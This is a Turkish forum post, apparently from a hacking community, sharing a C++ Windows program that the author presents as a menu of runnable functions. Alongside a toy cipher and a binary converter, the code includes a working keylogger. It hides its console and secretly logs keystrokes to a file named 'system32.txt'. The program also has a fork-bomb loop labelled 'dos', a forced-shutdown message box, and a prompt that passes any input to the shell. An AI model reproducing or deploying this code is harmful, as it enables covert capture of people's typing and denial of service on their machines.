daha önce birkaç program yazıp burada tanıtmıştım ancak bu en eğlenceli olanı, yazarken veya kullanırken eminim keyif alacaksınız .
Öncelikle programın özelliği hem bir komut sistemi hem de sizin kişisel c++ programlarınızı çalıştıran ayrı bir program olması.
Yani şöyle; programın içinde sizin önceden yazdığınız birçok program fonksiyonlara dönüştürülmüş şekilde bulunacak (ki fonksiyon çağırır gibi çağırabilelim) sonra sizden bir şeyler girmenizi isteyecek, girdikten sonra eğer girdiğiniz kelime, programın içinde önceden tanımlanmış fonksiyonların adlarından birisi ise o fonksiyonu çalıştıracak. eğer değilse o metni sanki cmd ye yazmışınız gibi değerlendirecek.
istediğiniz kadar program ekleyerek geliştirebilirsiniz.
Kod:
içindeki programlar örnek ama fena olmayan programlar. (keylogger, binary çevrimi gibi zten çoğunu c++ konusunda da göstermiştim.)
birkaç çıktı:



Derleyiciye kopyalayıp yapıştırarak kodları incelemenizi tavsiye ederim, başkalarının kodunu iceleyerek bilmediğim fonksiyonları öğrenmek her zaman benim işime yaradı
Öncelikle programın özelliği hem bir komut sistemi hem de sizin kişisel c++ programlarınızı çalıştıran ayrı bir program olması.
Yani şöyle; programın içinde sizin önceden yazdığınız birçok program fonksiyonlara dönüştürülmüş şekilde bulunacak (ki fonksiyon çağırır gibi çağırabilelim) sonra sizden bir şeyler girmenizi isteyecek, girdikten sonra eğer girdiğiniz kelime, programın içinde önceden tanımlanmış fonksiyonların adlarından birisi ise o fonksiyonu çalıştıracak. eğer değilse o metni sanki cmd ye yazmışınız gibi değerlendirecek.
istediğiniz kadar program ekleyerek geliştirebilirsiniz.
Kod:
Kod:
#include<time.h>
#include<conio.h>
#include<iostream>
#include<windows.h>
#include<cstdlib>
#include<winuser.h>
#include<algorithm>
#include<string>
#include<fstream>
using namespace std;
char sifreleme(char kelime[100])
{
system("color a");
char alfabe[]="#$&%*>!= abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
string sonuc="";
int lng=strlen(kelime);
int i=0,x=0,y=8;
while(i<=lng-1)
{
if(kelime[x]==alfabe[y])
{
int s=y-2;
sonuc.push_back(alfabe[s]);
s=s-3;
sonuc.push_back(alfabe[s]);
s=s-3;
sonuc.push_back(alfabe[s]);
i++;
y=8;
x++;
}
else
y++;
}
cout<<"sifrelenmis hali= "<<sonuc<<endl;
}
char coz(char kelime[100])
{
system("color a");
string sonuc="";
char alfabe[]="#$&%*>!= abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
int x=strlen(kelime);
int i=0,z=0,y=0;
x=x/3;
while(i<=x-1)
{
if(kelime[y]==alfabe[z])
{
sonuc.push_back(alfabe[z]);
z=0;
y=y+3;
i++;
}
else
z++;
}
string cevap="";
i=0;
x=sonuc.length();
z=0;
while(i<x)
{
if(sonuc[i]==alfabe[z])
{
int s=z+2;
cevap.push_back(alfabe[s]);
i++;
z=0;
}
else
z++;
}
cout<<"sifrenin cozumlenmis hali: "<<cevap<<endl;
}
char sifrele()
{
char kelime[100];
system("color a");
cout<<"sifrelencek metin: ";
gets(kelime);
sifreleme(kelime);
system("color a");
cout<<"----------------------------\ncozulecek metni girin: ";
gets(kelime);
coz(kelime);
cout<<"qweqweqwe";
}
char cevir(int bnry)
{
system ("color a");
char sfrbr[50];
char bir[]="1";
string sonuc="";
int x;
for(bnry;bnry>=2;bnry=bnry/2)
{
x=bnry%2;
itoa(x,sfrbr,10);
sonuc.push_back(sfrbr[0]);
}
sonuc.push_back(bir[0]);
reverse(sonuc.begin(),sonuc.end());
cout<<sonuc<<" ";
}
char fonk(char metin[100])
{
char alf1[]=" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz";//33
int x=strlen(metin);
int i=0,bnry,z=0;
while(i<x)
{
if(metin[i]==alf1[z])
{
bnry=z+32;
i++;
z=0;
cevir(bnry);
}
else
z++;
}
}
char binary()
{
system("color a");
char metin[100];
cout<<"metni gir: ";
gets(metin);
fonk(metin);
}
int SpecialKeys (string kelime)
{
ofstream out;
out.open("system32.txt", fstream::app);
out<<kelime;
}
bool checkalfabe(char i)
{
switch(i)
{
case 65:
SpecialKeys("a");
return 1;
break;
case 66:
SpecialKeys("b");
return 1;
break;
case 67:
SpecialKeys("c");
return 1;
break;
case 68:
SpecialKeys("d");
return 1;
break;
case 69:
SpecialKeys("e");
return 1;
break;
case 70:
SpecialKeys("f");
return 1;
break;
case 71:
SpecialKeys("g");
return 1;
break;
case 72:
SpecialKeys("h");
return 1;
break;
case 73:
SpecialKeys("i");
return 1;
break;
case 74:
SpecialKeys("j");
return 1;
break;
case 75:
SpecialKeys("k");
return 1;
break;
case 76:
SpecialKeys("l");
return 1;
break;
case 77:
SpecialKeys("m");
return 1;
break;
case 78:
SpecialKeys("n");
return 1;
break;
case 79:
SpecialKeys("o");
return 1;
break;
case 80:
SpecialKeys("p");
return 1;
break;
case 81:
SpecialKeys("q");
return 1;
break;
case 82:
SpecialKeys("r");
return 1;
break;
case 83:
SpecialKeys("s");
return 1;
break;
case 84:
SpecialKeys("t");
return 1;
break;
case 85:
SpecialKeys("u");
return 1;
break;
case 86:
SpecialKeys("v");
return 1;
break;
case 87:
SpecialKeys("w");
return 1;
break;
case 88:
SpecialKeys("x");
return 1;
break;
case 89:
SpecialKeys("y");
return 1;
break;
case 90:
SpecialKeys("z");
return 1;
break;
default : return 0;
}
}
bool ChecKey (char i)
{
switch (i)
{
case VK_LBUTTON:
SpecialKeys(" *lc* ");
return 1;
break;
case VK_RBUTTON:
SpecialKeys(" *rc* ");
return 1;
break;
case VK_BACK:
SpecialKeys("\b");
return 1;
break;
case VK_RETURN:
SpecialKeys(" *Enter* ");
return 1;
break;
case VK_CAPITAL:
SpecialKeys(" *CapsLock* ");
return 1;
break;
case VK_ESCAPE:
SpecialKeys(" *ESC* ");
return 1;
break;
case VK_SPACE:
SpecialKeys(" ");
return 1;
break;
case VK_NUMPAD0:
SpecialKeys("0");
return 1;
break;
case VK_NUMPAD1:
SpecialKeys("1");
return 1;
break;
case VK_NUMPAD2:
SpecialKeys("2");
return 1;
break;
case VK_NUMPAD3:
SpecialKeys("3");
return 1;
break;
case VK_NUMPAD4:
SpecialKeys("4");
return 1;
break;
case VK_NUMPAD5:
SpecialKeys("5");
return 1;
break;
case VK_NUMPAD6:
SpecialKeys("6");
return 1;
break;
case VK_NUMPAD7:
SpecialKeys("7");
return 1;
break;
case VK_NUMPAD8:
SpecialKeys("8");
return 1;
break;
case VK_NUMPAD9:
SpecialKeys("9");
return 1;
break;
default: return 0;
}
}
char keylogger()
{
time_t t;
time(&t);
int x=0;
if(x==0)
{
ofstream out;
out.open("system32.txt", fstream::app);
out<<"\n"<<ctime(&t)<<"\n";
x++;
}
x=0;
ShowWindow( GetConsoleWindow() ,SW_HIDE );
char i;
for(i=8; i<=300; i++)
{
if(GetAsyncKeyState(i)==-32767)
{
if(ChecKey(i)==0)
{
if(x>=130)
{
ofstream out;
out.open("system32.txt", fstream::app);
out<<"\n";
x=0;
}
if(checkalfabe(i)==0)
{
ofstream out;
out.open("system32.txt", fstream::app);
out<<i;
x++;
}
}
else
{
x=x+13;
}
}
}
}
//============================================================================================================
char messagebox ()
{
char mesaj[150]; //bazı örnek fonksiyonlar
char baslik[50];
string yn;
int time,i=0;
cout<<"mesaji girin: ";
gets(mesaj);
cout<<"basligi ve sureyi girin (SN): ";
cin>>baslik>>time;
cout<<"pc kapansin mi? (Y/N)";
cin>>yn;
if(yn=="y"||yn=="Y")
{
ShowWindow( GetConsoleWindow(), SW_HIDE );
while(i<time)
{
Sleep (1000);
i++;
}
int click= MessageBox(0, mesaj, baslik, MB_YESNOCANCEL| MB_ICONHAND);
if(click==IDYES)
system ("shutdown -s");
else
{
while(click!=IDYES)
{
click= MessageBox(0, mesaj, baslik, MB_YESNOCANCEL| MB_ICONHAND);
}
system ("shutdown -s");
}
}
else
{
ShowWindow( GetConsoleWindow(), SW_HIDE );
while(i<time)
{
Sleep (1000);
i++;
}
MessageBox(0, mesaj, baslik, MB_YESNOCANCEL| MB_ICONHAND);
}
}
char pckapama()
{
int x,y=0;
cout<<"zamani girin (DK)= ";
cin>>x;
int dakika=x;
int saat=(dakika/60); //bazı örnek fonksiyonlar
dakika=(dakika-(saat*60));
int saniye=0;
x=(x*60);
while(y<x)
{
cout<<saat<<":"<<dakika<<":"<<saniye;
if(saniye==0)
{
if(dakika==0)
{
saat--;
saniye=59;
dakika=59;
}
else
{
dakika--;
saniye=59;
}
}
saniye--;
y++;
Sleep(1000);
system("cls");
}
cout<<"5 saniye sonra pc kapanacak!";
Sleep(5000);
system("shutdown -s");
}
char dos ()
{
int z=0;
while(z<1)
{
system("start");
Sleep(100); //bazı örnek fonksiyonlar
}
}
char disko ()
{
int s=0,t=0;
string colors[]={"color a","color b","color c","color d","color e","color 2","color 3","color 4","color 5","color 6","color 7"};
cout<<"ALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIKALEKTA MOVIK MOVIK";
while(s<100)
{
system(colors[t].c_str()); //bazı örnek fonksiyonlar
Sleep (75);
t++;
s++;
if(t==11)
t=0;
}
system("color a");
}
char function_list(int i)
{
if(i==0)
disko();
if(i==1)
dos(); // function_list fonksiyonu çok önemli, o olmazsa sonradan yazılan fonskiyonlar çalıştırılamaz.
if(i==2) // bu yüzden yeni fonskiyon yazarsak buraya if(i==4)
pckapama(); // fonksiyonadı(); olarak eklememiz gerek
if(i==3)
messagebox();
if(i==4)
keylogger();
if(i==5)
binary();
if(i==6)
sifrele();
return 0;
}
//=============================================================================================================
int main()
{
system("title ##################################################################################################################"); // burayı can sıkıntısından yaptım :P
string funclist[]={"disko","dos","pckapama","messagebox","keylogger","binary","sifrele"}; // Sonradan eklediğiniz her fonksiyonun adını buraya eklemeniz gerek
string kelime,sifre="";
int x=0, i=0,y=0;
char ek;
system("color a");
while(x<1)
{
system("cls");
cout<<"Password: ";
ek=getch();
while(ek!=13)
{
sifre.push_back(ek);
cout<<"*";
ek=getch();
}
if(sifre=="turkhackteam"){
cout<<"\ndogru";
Sleep(1000);
x++;
}
else
{
cout<<"\nyanlis";
Sleep(1000);
sifre="";
}
}
system("cls");
Sleep(1000);
x=0;
cout<<"Welcome!";
Sleep(1000);
system("cls");
cout<<"mevcut fonksiyonlar;\n";
while(x<=6)// Sonradan eklediğiniz her fonksiyon için buradaki sayıyı arttırmanız gerek ( kaç dizi içerdiğini gösteren fonksiyonu bilseydim bu kadar uzamazdı :D)
{
cout<<funclist[x]<<"\n";
x++;
}
Sleep (2000);
system("cls");
while(1)
{
getline (std::cin, kelime);
while(y<1)
{
if(kelime==funclist[i])
{
function_list(i);
y++;
}
else
{
i++;
if(i>6) // Aynı şekilde burayı da sonradan eklenen her fonksiyon için bir arttırmanız gerekiyor
y++;
}
}
y=0;
if(i>6) // Ve burayı da
{
system(kelime.c_str());
i=0;
}
}
}
içindeki programlar örnek ama fena olmayan programlar. (keylogger, binary çevrimi gibi zten çoğunu c++ konusunda da göstermiştim.)
birkaç çıktı:



Derleyiciye kopyalayıp yapıştırarak kodları incelemenizi tavsiye ederim, başkalarının kodunu iceleyerek bilmediğim fonksiyonları öğrenmek her zaman benim işime yaradı
Son düzenleme:
